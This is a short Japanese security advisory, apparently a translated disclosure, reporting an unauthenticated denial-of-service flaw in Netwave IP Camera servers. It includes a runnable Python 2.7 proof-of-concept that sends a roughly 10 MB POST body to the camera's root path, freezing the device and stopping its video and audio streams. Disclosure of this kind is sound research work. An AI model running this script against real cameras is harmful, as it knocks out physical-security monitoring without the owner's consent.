Netwave IP Camera server は、任意のファームウェアにおいて、1つの巨大なPOSTリクエストによって認証不要のサービス拒否攻撃に対して脆弱です。

0. はじめに:

IoTセキュリティ研究の過程で、さまざまなIPカメラベンダーにいくつかの脆弱性が発見されました。Netwave IP Cameraは、カメラ映像の視聴と管理を可能にするIPカメラサーバーです。IPカメラは特に物理的なセキュリティや制御目的で使用されるため、その可用性は極めて重要です。

1. サービス拒否:

任意のNetwave IP Cameraは、ルートパスに巨大なPOSTリクエストを送信するだけでダウンさせることができます。リクエストを送信すると、デバイスはフリーズし、オーディオとビデオのストリーミングが停止します。

概念実証: 以下のPython 2.7スクリプトを任意のNetWave IP Cameraに対して実行すると、即座に応答とビデオ/オーディオのストリーミングが停止します。

import string
import httplib
import urllib2

host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body

headers = { 
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}

url = "/"

conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data

2. 研究者:

Gonzalo García León